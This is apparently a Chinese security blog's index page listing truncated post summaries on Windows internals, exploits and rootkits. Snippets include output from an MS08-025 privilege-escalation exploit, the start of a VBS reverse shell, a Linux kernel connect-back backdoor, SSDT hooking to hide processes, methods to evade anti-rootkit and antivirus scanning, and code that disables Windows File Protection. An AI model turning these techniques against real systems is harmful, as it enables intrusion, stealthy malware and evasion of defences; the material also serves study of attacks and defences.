改了个linux下的c代码为windows版本
摘要:
Windows的C++没有pthread_t类型,linux中有个pthread.h,很多站的VC代码,都不知道从哪包含来的,shit
网上看到有一个叫 POSIX Threads for Win32 的开源项目给出了一个功能比较完善的Windows下pthreads API的实现。
阅读全文
将Win32 C/C++应用程序迁移到Linux-进程、线程和共享内存(ZT)
摘要:
本文的内容是 Win32 API(特别是进程、线程和共享内存服务)到 POWER 上 Linux 的映射。本文可以帮助您确定哪种映射服务最适合您的需要。作者向您详细介绍了他在移植 Win32 C/C++ 应用程序时遇到的 API 映射。
阅读全文
MS08-025 for win2k & win2k3
摘要: Win2k CN SP2 ,Win2k3 CN SP1下测试通过,其它未测试(不装XP那种垃圾)
D:\>ms08025 whoami
MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1
Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo
阅读全文
用C++修改本地安全策略
摘要: 要写个修改本地安全策略的工具,本以为修改注册表就行了,没想到还挺复杂,改策略,对应的注册表项会变,倒过来,改对应的注册表项,策略没变,郁闷
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account] |--------------------------------修改次数
"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\ 00 ~ 22
00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\ 23 ~ 47
00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\ 48 ~ 72
03,00,00,00,00,00,00,02,00,18,00,00,
阅读全文
新手编译驱动
摘要: 网上找了N多资料,说得我晕头转向的,都是TMD资深顾问级别的文章,最后简单几步也可以搞定,过程如下:
我的SDK本来就是装好的,再装个DDK,就是重装系统,只要DDK目录还在,重新指定下即可,不用重装DDK
DDK目录为: f:\WINDDK\3790.1830
以下以HelloWorld为例
-----------------------------------------HelloWorld.h---------------------------------------------------
#ifndef __HELLOWORLD_H__
#define __HELLOWORLD_H__
#include
.................
阅读全文
简单认识Anti-RootKit(ZT)
摘要: 现在RK(rootkit)和ARK(anti- rootkit)的斗争已经进行了很久,在印象中最早出来的ARK工具是冰刃(IceSword),从冰刃开始出来到现在RK和ARK的斗争一直在继续,目前冰刃还是在流行当中,自己感觉也正是冰刃的出来才带动了当前流行的RK和ARK的斗争呵呵,现在很多病毒木马已经广泛的带有驱动,使用一些RK的技术和方法使自己更底层些更强大些,当前流行的ARK工具主要包括:隐藏进程检测,内核驱动检测,SSDT检测,代码HOOK检测,注册表隐藏的检测,隐藏文件的检测等一些功能的,下面谈谈自己对一些功能的简单愚见 嘻嘻。
..........
阅读全文
无耻的驱动加载法(ZT)
摘要: 方法一: 替换win32k.sys
在2k3的系统下ZwSetSystemInformation禁止了用户模式下加载驱动,只允许SMSS.exe加载win32k.sys。于是我们可以利用一下这个特点:
1. 注入SMSS.EXE
2. 打开SeLoadDriverPrivilege权限
3. 把原始的win32k.sys改名
4. 复制我们的驱动到\systemroot\system32下
5. 在SMSS.EXE中加载\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
阅读全文
实例解析蠕虫病毒的原理(ZT)
摘要: 一、蠕虫病毒具有自我复制能力
我们以普通的VB脚本为例来看看:
JavaScript代码
1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '创建一个文件系统对象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通过文件系统对象的方法创建了一个TXT文件。
.....................
阅读全文
软件漏洞分析入门[初级shellcode_定位缓冲区](ZT)
摘要: 跟贴中看到已经有不少朋友成功的完成了前面的所有例题,今天我们在前面的基础上,继续深入。每一讲我都会引入一些新的知识和技术,但只有一点点,因为我希望在您读完贴之后就能立刻消化吸收,这是标准的循序渐进的案例式学习方法
另外在今天开始之前,我顺便说一下后面的教学计划:
我会再用3~4次的讲座来阐述shellcode技术,确保大家能够在比较简单的漏洞场景下实现通用、稳定的溢出利用程序(exploit)
..........
阅读全文
软件漏洞分析入门[初级栈溢出D_植入任意代码](ZT)
摘要: 麻雀虽小,五脏俱全
如果您顺利的学完了前面4讲的内容,并成功的完成了第2讲和第4讲中的实验,那么今天请跟我来一起挑战一下劫持有漏洞的进程,并向其植入恶意代码的实验,相信您成功完成这个实验后,学习的兴趣和自信心都会暴增。
开始之前,先简要的回答一下前几讲跟贴中提出的问题
代码编译少头文件问题:可能是个人习惯问题,哪怕几行长的程序我也会丢到project里去build,而不是用cl,所以没有注意细节。如果你们嫌麻烦,不如和我一样用project来build,应该没有问题的。否则的话,实验用的程序实在太简单了,这么一点小问题自己决绝吧。另外,看到几个同学说为了实验,专门恢复了古老的VC6.0,我也感动不已啊,呵呵。
...............
阅读全文
软件漏洞分析入门[初级栈溢出C_修改程序流程](ZT)
摘要: 上节课没有操练滴东西,不少蠢蠢欲动的同学肯定已经坐不住了。悟空,不要猴急,下面的两堂课都是实践课,用来在实践中深入体会上节课中的知识,并且很有趣味性哦
信息安全技术是一个对技术性要求极高的领域,除了扎实的计算机理论基础外、更重要的是优秀的动手实践能力。在我看来,不懂二进制就无从谈起安全技术。
缓冲区溢出的概念我若干年前已经了然于胸,不就是淹个返回地址把CPU指到缓冲区的shellcode去么。然而当我开始动手实践的时候,才发现实际中的情况远远比原理复杂。
................
阅读全文
软件漏洞分析入门[初级栈溢出B_系统栈原理](ZT)
摘要: 扫盲班第三讲开课啦!
上节课我们用越过数组边界的一个字节把邻接的标志变量修改成0,从而突破了密码验证程序。您实验成功了吗?没有的话回去做完实验在来听今天的课!
有几个同学反映编译器的问题,我还是建议用VC6.0,因为它build出来的PE最适合初学者领会概念。而且这门课动手很重要,基本上我的实验指导都是按VC6.0来写的,用别的build出来要是有点出入,实验不成功的话会损失学习积极性滴——实验获得的成就感是学习最好的动力。
............
阅读全文
软件漏洞分析入门[初级栈溢出A_初识数组越界](ZT)
摘要: 本想来点大道理申明下研究思路啥的,看到大家的热情期待,稍微调整一下讲课的顺序。从今天开始,将用3~4次给大家做一下栈溢出的扫盲。
栈溢出的文章网上还是有不少的(其实优秀的也就两三篇),原理也不难,读过基本上就能够明白是怎么回事。本次讲解将主要集中在动手调试方面,更加着重实践。
经过这3~4次的栈溢出扫盲,我们的目标是:
领会栈溢出攻击的基本原理
能够动手调试简易的栈溢出漏洞程序,并能够利用漏洞执行任意代码(最简易的shellcode)
.............
阅读全文
软件漏洞分析入门[引子](ZT)
摘要: 您是否梦想过能够像电影上演的那样黑进任意一台机器远程操控?您的梦想是否曾经被书店里边满架子的反黑,防毒,擒木马的扫盲书强暴的体无完肤?
从今天开始,准备陆续发一系列关于软件漏洞方面基础知识的帖子,包括软件漏洞的研究价值,研究方法,堆栈利用的基础知识,shellcode的调试方法,漏洞调试方法,漏洞分析,漏洞挖掘,软件安全性测试等等,此外还将介绍一些metasploit架构和fuzz测试方面的入门知识。
软件漏洞分析,利用,发掘是当今安全技术界中流砥柱级别话题,如果您关注过black hat或者defcon之类的顶级安全技术峰会的话,就知道我不是在吹牛了。可惜的是这方面的中文资料很少,偶尔有一篇比较优秀的文章但又不够系统,目前为止也没有形成像破解技术这样的讨论风气,菜鸟们在黑灯瞎火的夜晚瞎折腾,没有交流和指导,兴趣就像被拔了气弥儿芯的车胎,很快就泄气了。
虽然漏洞分析与利用与破解在技术上各有侧重点,但逆向基础是共同的。以我个人的经验,能做crack的朋友只要稍加进修就能入门。就算没有任何汇编基础和逆向经验的朋友也不用担心,因为这
阅读全文
对 Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏任务管理器进程名 的一点完善(ZT)
摘要: 通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
1 通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq.exe;taskmgr.exe;
2 通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
...........
阅读全文
让EXE导出函数(ZT)
摘要: 偶然发现OllyDBG.exe导出了一堆函数,这些函数都是供其插件调用的。对这种体系结构很感
兴趣,想弄清楚它的实现原理。后来又看到梁肇新的书《编程高手箴言》第278页提到的调用
门,觉得都应该差不多。
三种不同的解决办法(原理可能是一样的,:)):
1)在导出函数声明之前加上__declspec(dllexport)。例:
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
阅读全文
icesword 驱动部分分析(ZT)
摘要: icesword.exe 在执行的时候会放出一个驱动程序 ispubdrv.sys .
icesword.exe 装载 这个驱动,这个驱动安装后就不会卸载。直到系统重新启动。这可能是因为驱动中调用了
PsSetCreateThreadNotifyRoutine 函数.下面是这个函数在 ddk 中的介绍。
........
阅读全文
利用伪造内核文件来绕过IceSword的检测(ZT)
摘要: 一、为什么需要伪造内核:
IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被 patch,它直接读取内核文件(以下简称“ntoskrnl.exe”),然后自己分析ntoskrnl.exe 的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch 过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过
.....................
阅读全文
WIN下获取kernel基址的shellcode探讨(ZT)
摘要: [经典溢出攻击流程]
———————————
1. 查找Kernel32.dll基地址;
2. 查找GetProcAddress()函数地址;
3. 查找其它API函数地址;
4. CreateProcess();
5. 远程连接。
我们都知道WINDOWS的系统功能不像UNIX的系统调用那样实现,由于WINDOWS版本的不断更新,使得系统调用对SHELLCODE几乎起不到作用。
但是WINDOWS是靠DLL动态链接库来实现,这就是说,如果能从KERNEL32.DLL中获取LoadLibrary()和GetProcAddress()函数的地址,我们就可以调用WINDOWS下的所有函数了。
所以我们需要对KERNEL32.DLL进行地址定位,这也是本文的目的。
................
阅读全文
SEH源码赏析之C篇(ZT)
摘要:
1.起因
C++程序员对try,catch,throw都应该很熟悉,能知道VC怎么实现它的人就不多了,不过网络世界使很多人知道了它与SEH (structured exception handling)有密切关系,我也不例外,也是在若干年前从网络知道了SEH,并且大致也知道SEH的流程.但是和多数人一样在我的实践也很少直接使用 SEH,对SEH也就仅限于网络上一些文章的介绍.曾经在用Windbg对某些软件作分析,我遇到了断点失效的情况,查找资料介绍是SEH中的 Handler清除了调试寄存器,在分析.....................
阅读全文
饶过现代Anti-Rookit工具的内核模块扫描(ZT)
摘要: 本文描述了一些方法,可以饶过目前主流的现代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
阅读全文
TCP版backshell的VBS脚本
摘要: '搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷
'by 009, baicker@hotmail.com
'date:071221
Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................
阅读全文
在同一个进程空间运行两个程序(ZT)
摘要:
众所周知,bo2k可以在一个指定的进程空间(比如explorer.exe进程)做为一个线程运行。本文试图找出一种方法,使得任意exe都可以在其他进程中以线程运行(当然,这里说的"任意"是有条件的,下面会讲到)。
为行文简单起见,我把先加载的exe称为宿主,后加载的exe称为客户。对于上面的例子,explorer.exe为宿主,bo2k.exe为客户。
基本知识
每一个exe都有一个缺省加载基址,一般都是0x400000。如果实际加载基址和缺省基址相同,程序中的重定位表就不需要修正(fixup),否则,就必须修正重定位表;
阅读全文
Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3
摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 测试通过
之前的版本只能xp下用,这个2k3也可以了,其实前段时间朋友给过我一个这个漏洞的1day,但是朋友的东西不能乱发,这个是自己写的,发出来大家恶心一下。
阅读全文
VC编译优化设置
摘要: VC- Project Setting-Debug-Project Option语法解释
-优化-
/O1 最小化空间 minimize space
/Op[-] 改善浮点数一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 优选代码空间 favor code space
/Oa 假设没有别名 assume no aliasing
/Ot 优选代码速度 favor code speed
/Ob 内联展开(默认 n=0) inline expansion (default n=0)
/Ow 假设交叉函数别名 assume cross-function aliasing
/Od 禁用优化(默认值) disable optimizations (default)
/Ox 最大化选项。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 启用全局优化
阅读全文
程序多开器
摘要: 使用OD反汇编修改NateOn,虽然很麻烦,最终还是搞定了,后来发现网上有段代码,直接可以实现程序多开,测试了MSN、NateOn没问题,代码如下:
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
............
阅读全文
一个简单的Linux内核后门原型(ZT)
摘要: 这是一个在内核模块中实现的反连后门,大家看看这于应用层上的实现有什么不同吧,呵呵
/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt <wzt#xsec.org>
*
*/
阅读全文
VBS解决终端窗口中特殊快捷键问题
摘要: 写程序麻烦,还要传上去,幸好VBS每台服务器应该都可以运行的吧,很少会又禁止的
使用SendKeys搞定
例如呼出Cain使用果如下脚本:)
Set WshShell= Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep 1500
WshShell.SendKeys "%{PGUP}"
以下位SendKeys的相关使用方法等
............
阅读全文
一些opcodes(ZT)
摘要:
一些opcodes
by axis
2007-03-28
近日在写exploit的时候需要用到一些其他语言的call ebx的跳转地址,但是metasploit的opcode DB没有包括繁体中文、日文、韩文机器的跳转地址,所以费了点时间收集了下,在这里要感谢傲少提供的机器给我去找地址。现在贴到这里,方便大家。
简体中文windows的通用跳转地址:(2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
..................
阅读全文
TCP 相关参数解释
摘要: cp_syn_retries :INTEGER
默认值是5
对于一个新建连接,内核要发送多少个 SYN 连接请求才决定放弃。不应该大于255,默认值是5,对应于180秒左右时间。(对于大负载而物理通信良好的网络而言,这个值偏高,可修改为2.这个值仅仅是针对对外的连接,对进来的连接,是由tcp_retries1 决定的)
tcp_synack_retries :INTEGER
默认值是5
对于远端的连接请求SYN,内核会发送SYN + ACK数据报,以确认收到上一个 SYN连接请求包。这是所谓的三次握手( threeway handshake)机制的第二个步骤。这里决定内核在放弃连接之前所送出的 SYN+ACK 数目。不应该大于255,默认值是5,对应于180秒左右时间。(可以根据上面的 tcp_syn_retries 来决定这个值)
tcp_keepalive_time :INTEGER
默认值是7200(2小时)
当keepalive打开的情况下,TCP发送keepalive消息的频率。(由于目前网络
阅读全文
如何调试程序的 Release 版本
摘要: 很多时候程序的 Debug 版本运行没有任何问题,但是一旦发布 Release 版本后,运行就出错,着实让人郁闷。大家知道,VC++ 中 Release 版本是对无法对源代码进行调试的。一般的做法是在怀疑有错误的代码前后插入MessageBox 函数,在函数中显示可能导致错误的变量的值。或者插入写文件的语句,输出可能导致错误的变量的值到一个记录文件。其实,除了上面讲的这个办法之外,还有其它的途径来调试 Release 版本的。下面就结合自己的经验和网上查找的一些资料给出调试 Release 版本的两个方法:
......
阅读全文
HOOK专题(ZT)
摘要: 基本概念
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
运行机制
1、钩子链表和钩子子程:
.......
阅读全文
翻动100万级的数据(自定义的MSSQL分页查询过程)
摘要: 系统资源的占用情况
内存 —— 很理想。SQL占用的内存最大也没有超过65M,一般是在35M左右;asp.net占用的内存最大也没有超过40M,一般是在25M左右。
CPU:8%左右,由于访问次数不多,也不够集中,所以这个数值也说明不了什么。自己连续点了n次下一页,发现CPU的使用率飘高,达到了50%左右。
但是对于100万的记录,AMD XP2000+ 的CPU 几十毫秒的放映速度,因该是可以接受的,甚至是很理想的吧。
毕竟服务器的CPU要比我的快很多吧,而且记录也很难达到100万吧。
结果还是很满意的,但是美中不足的是,我想看一下海量访问的情况下的效果,
另外说明一下:前n页可以在60毫秒内完成,n应该是大于500的,小于多少嘛还没有测试。后n页就比较慢了,需要500毫秒左右。
下面讨论一下翻页的技巧吧。
我没有用游标、临时表、not in、in 这些方法,并不是说他们的效率不高,而是我还没有测试过。我只用了 top ,查了两次表。
大家也可提供一些其他的方法,我来测试一下,看看在100万条的情况下的效果。
<
阅读全文
绕过堆栈保护 编写shellcode(FY)
摘要: 概述
在本例中,我们来实际编写一个可以在使用堆栈保护的系统中执行的shellcode。该shellcode通过利用ntdll.dll的部分指令跳转到我们的代码执行。在大多数的dll中都可以实现此方法,而且可以完全饶过堆栈保护机制,因为通过此方法并没有任何代码在堆栈非执行区域中执行。
详述
我们也许都听说过堆栈保护这么一个词。很多安全程序提供了对堆栈中的代码执行的保护功能(译者注:原文这里用的是“protect”,其实我个人认为用 “disallow”或者“disable”更确切的。因为这类所谓的堆栈保护,其实就是禁止代码在堆栈中执行。)。一些新的硬件产品也具有禁止代码在 “非执行”内存区域中执行(比如AMD64)。然而编写一个饶过此机制的shellcode并不是件难事,下面我给大家简单的介绍一下。
方法就是使用dll的部分代码来达到我们的目的。如何做到呢?首先在堆栈发生溢出的时候我们将返回地址设置成ntdll.dll中的某个指令地址,我们要利用的ntdll的部分代码如下:
.............
阅读全文
教你如何分析未文档化的数据结构(ZT)
摘要: Editor:admin Time:2005-8-20 23:22 Read:9985 Score:8 Print
Writer:HSLY
Excerpt:80x86汇编小站
Preface:
分享逆向技术心德......
Content:
[标题] 教你如何分析未文档化的数据结构
[作者] hsly110 或者 猪头三
[个人网站] http://www.x86asm.com 80x86汇编小站
[Email] pliceman_110@163.com PS:本文如果有错漏请来信指出
[范围] 逆向工程
[目的] 分享逆向技术心德
[目标API] 未文档化的RtlInitializeGenericTable
[参考文献] Secrets of Reverse Engineering
..........
阅读全文
图片类型互转(png,bmp,jpg,gif)
摘要:
#include <windows.h>
#include <gdiplus.h>
#include <stdio.h>
#pragma comment(lib,"gdiplus.lib")
using namespace Gdiplus;
INT GetEncoderClsid(const WCHAR* format, CLSID* pClsid); // helper function
...........
阅读全文
通过活动链表或HOOK API隐藏进程
摘要: 进程隐藏的两种方法
这两种都是很古老的方法,因为无聊,所以写了一下。代码在XP_SP2下调试通过.
(1).从活动进程链表(ActiveProcessLinks)中摘除自身,这种方法可以欺骗任务管理器,
下面这个程序做的就是双向链表的删除节点和插入节点,十分的简单。
(2).如果你反汇编taskmgr.exe,可以在发现taskmgr.exe是通过NtQuerySystemInformation枚举进程的,
因此可以通过挂钩系统服务NtQuerySystemInformation修改这个函数的行为,从而实现在任务管理器中隐藏进程的目的,下面就是实现代码。
...........
阅读全文
Hook API监视驱动的加载
摘要: .386
.model flat, stdcall
option casemap:none
;**************************************************************************************************
include f:\masm32\include\w2k\ntstatus.inc
include f:\masm32\include\w2k\ntddk.inc
include f:\masm32\include\w2k\ntoskrnl.inc
includelib f:\masm32\lib\w2k\ntoskrnl.lib
include f:\masm32\Macros\Strings.mac
;**************************************************************************************************
阅读全文
WMI监视注册表
摘要: Set wmiServices = GetObject("winmgmts:root/default")
Set wmiSink = WScript.CreateObject("WbemScripting.SWbemSink", "SINK_")
wmiServices.ExecNotificationQueryAsync wmiSink, _
"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND " & _
"KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'"
WScript.Echo "Listening..." & vbCrLf
While(1)
WScript.Sleep 1000
Wend
Sub SINK_OnObjectReady(wmiObject, wmiAsyncContext)
WScript.Echo "R
阅读全文
暂停Windows文件保护
摘要: #include <stdio.h>
#include <windows.h>
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
HINSTANCE hmod=LoadLibrary("sfc_os.dll");
CPP SetSfcFileException;
// the function is stored at the fifth ordinal in sfc_os.dll
SetSfcFileException= (CPP)GetProcAddress(hmod,(LPCSTR)5);
SetSfcFileException(0, L"c:\\windows\\system32\\calc.exe",-1);
//Now we can modify the system file in a complete stealth.
阅读全文
编写进程/线程监视器(ZT)
摘要: 有时候我们希望能够动态监视系统中任意进程/线程的创建与销毁。为了达
到此目的我翻阅了 DDK 手册,发现其提供的 PsSetCreateProcessNotifyRoutine(),
PsSetCreateThreadNotifyRoutine(),等函数可以实现此功能。这两个函数可以
通过向系统注册一个 CALLBALCK 函数来监视进程/线程等操作。函数原形如下:
NTSTATUS
PsSetCreateProcessNotifyRoutine(
IN PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
IN BOOLEAN Remove
);
......................
阅读全文
SSDT Hook 的妙用-对抗 Ring0 Inline Hook(ZT)
摘要: 1,SSDT
SSDT即系统服务描述符表,它的结构如下(参考《Undocument Windows 2000 Secretes》第二章):
typedef struct _SYSTEM_SERVICE_TABLE
{
PVOID ServiceTableBase; //这个指向系统服务函数地址表
PULONG ServiceCounterTableBase;
ULONG NumberOfService; //服务函数的个数,NumberOfService*4 就是整个地址表的大小
ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,*PSYSTEM_SERVICE_TABLE;
.........
阅读全文
对抗杀毒软件的内存扫描(ZT)
摘要:
通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,
如果发现其他进程读被保护模块的内存,则返回0
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
.........
阅读全文
实用级反主动防御rootkit设计思路(ZT)
摘要:
目录:
反主动防御rootkit的产生背景及其必要性
反网络访问主动防御
反API钩子进程行为主动防御
反系统Notify进程行为主动防御
绕过监控进入ring0安装驱动
实用级反主动防御rootkit的通用性问题
..............
阅读全文
从PE文件入手绕过IAT HOOK(ZT)
摘要:
API HOOK估计没必要多介绍了,简单的来讲就是通过某种方式来改变API函数的工作流程.一般来讲有两种方法:IAT HOOK和INLINE HOOK.前一种应用较为广泛,一方面因为简单,还一方面因为稳定.他的原理就是改写进程空间中要HOOK的API所在模块的函数引入表,使之指向替换原 API函数的函数地址(某些木马就是利用IAT HOOK的方式,挂钩NtQuerySystemInformation的方式来实现进程隐藏).这里感觉还是有必要再说一点INLINE HOOK,这个复杂点,直接进入被HOOK的API函数内部去修改他,采用指令call或者jmp等,迫使API改变流程,跳到自己的替换函数中.通常都是在函数头部前10个字节内修改.
...............
阅读全文
应用层InLine Hook(ZT)
摘要: 1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移
2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址
3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐)
4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要在数据段中设置跳回真实函数的JMP指令.
5.把真正的API开头的指令改为JMP到我们的假函数中.
.
阅读全文
什么是PE文件及PE文件的结构和简述(ZT)
摘要:
一个操作系统的可执行文件格式在很多方面是这个系统的一面镜子。虽然学习一个可执行文件格式通常不是一个程序员的首要任务,但是你可以从这其中学到大量的知识。在这篇文章中,我会给出 MicroSoft 的所有基于 win32系统(如winnt,win9x)的可移植可执行(PE)文件格式的详细介绍。在可预知的未来,包括 Windows2000 , PE 文件格式在 MicroSoft 的操作系统中扮演一个重要的角色。如果你在使用 Win32 或 Winnt ,那么你已经在使用 PE 文件了。甚至你只是在 Windows3.1 下使用 Visual C++ 编程,你使用的仍然是 PE 文件(Visual C++ 的 32 位 MS-DOS 扩展组件用这个格式)。简而言之,PE 格式已经普遍应用,并且在不短的将来仍是不可避免的。现在是时候找出这种新的可执行文件格式为操作系统带来的东西了。
我最后不会让你盯住无穷无尽的十六进制Dump,也不会详细讨论页面的每一个单独的位的重要性。代替的,我会向你介绍包含在 PE 文件中的概念,并且将他们和你每天都遇到的东西联系起来。比如,线程局部变量
阅读全文
C++字符串完全指引(ZT)
摘要: 许多关于字符串的问题,在文章最后的参考文章中,相信有更加深入和精确的描述。不过关于中文的处理,我想先补充一些自己的看法。
背景:WIN32 console程序,使用printf输出字符串。相信许多人都有使用过。
平台:VisualStudio.NET 2003(MFC 7.1)。
MBCS UNICODE
蔡 b2 cc 21 85
A 41 00 41 00
程序段1:使用std::string
#include
.........
阅读全文
关于PE可执行文件的修改(ZT)
摘要: 1、PE文件框架构成
DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n
上表是PE文件结构的总体层次分布。所有 PE文件(甚至32位的 DLLs) 必须以一个简单的 DOS MZ header 开始,在偏移0处有DOS下可执行文件的“MZ标志”,有了它,一旦程序在DOS下执行,DOS就能识别出这是有效的执行体,然后运行紧随 MZ header 之后的 DOS stub。DOS stub实际上是个有效的EXE,在不支持 PE文件格式的操作系统中,它将简单显示一个错误提示,类似于字符串 " This program cannot run in DOS mode " 或者程序员可根据自己的意图实现完整的 DOS代码。通常DOS stub由汇编器/编译器自动生成,对我们的用处不是很大,它简单调用中断21h服务9来显示字符串"This program cannot run in DOS mode"。
阅读全文
Windows应用程序捆绑核心编程(ZT)
摘要:
1.1 引言 1.2 内存管理概述 1.3 虚拟内存访问
1.4 文件的内存映射 1.4 文件的内存映射(2) 1.5 深入认识指针的真正含义
1.6 本章小结 参考文献
第2章 再谈PE文件结构
2.1 引言 2.2 PE文件格式概述 2.3 PE文件结构
2.3 PE文件结构 2.4 如何获取PE文件中的OEP 2.5 PE文件中的资源
2.6 一个修改PE可执行文件的完整实例(1) 2.6 一个修改PE可执行文件的完整实例(2) 2.7 本章小结
参考文献
第3章 进程之间通信概述及初级技术
3.1 引言 3.2 进程通信概述 3.3 使用自定义消息通信
3.4 使用WM_COPYDATA消息通信 3.4 使用WM_COPYDATA消息通信 3.5 使用内存读写函数和内存映射文件通信
3.6 使用动态链接库通信 3.7 使用Windows剪贴板通信 3.
阅读全文
Creating the smallest possible PE executable
摘要: Tiny PE
Creating the smallest possible PE executable
This work was inspired by the Tiny PE challenge by Gil Dabah. The object of the challenge was to write the smallest PE file that downloads a file from the Internet and executes it.
In the process of writing increasingly smaller PE files for the challenge I learned a lot of interesting details about the PE file format and the Windows loader. The goal of this document is to preserve this knowledge for future reference. In t
阅读全文
vc的编译参数优化(ZT)
摘要:
/*
Author: void#ph4nt0m.org
*/
// 编译器 cl.exe(Visual C++ 6.0)
// 没有做任何优化情况下,编译大小为:16K
// 编译优化后: 1K (用16进制编辑器把尾部的0x00去掉: 712bytes)
#include
#pragma comment(lib,"kernel32.lib")
// 作用: 指定节对齐为512字节
#pragma comment(linker, "/align:512")
..........
阅读全文
向其他进程注入代码的三种方法(ZT)
摘要: 我们在Code project(www.codeproject.com)上可以找到许多密码间谍程序(译者注:那些可以看到别的程序中密码框内容的软件),他们都依赖于Windows钩子技术。要实现这个还有其他的方法吗?有!但是,首先,让我们简单回顾一下我们要实现的目标,以便你能弄清楚我在说什么。
要读取一个控件的内容,不管它是否属于你自己的程序,一般来说需要发送 WM_GETTEXT 消息到那个控件。这对edit控件也有效,但是有一种情况例外。如果这个edit控件属于其他进程并且具有 ES_PASSWORD 风格的话,这种方法就不会成功。只有“拥有(OWNS)”这个密码控件的进程才可以用 WM_GETTEXT 取得它的内容。所以,我们的问题就是:如何让下面这句代码在其他进程的地址空间中运行起来:
::SendMessage( hPwdEdit, WM_GETTEXT, nMaxChars, psBuffer );
一般来说,这个问题有三种可能的解决方案:
1. 把你的代码放到一个DLL中;然后用 wind
阅读全文
Inject your code to a Portable Executable file
摘要:
0序文
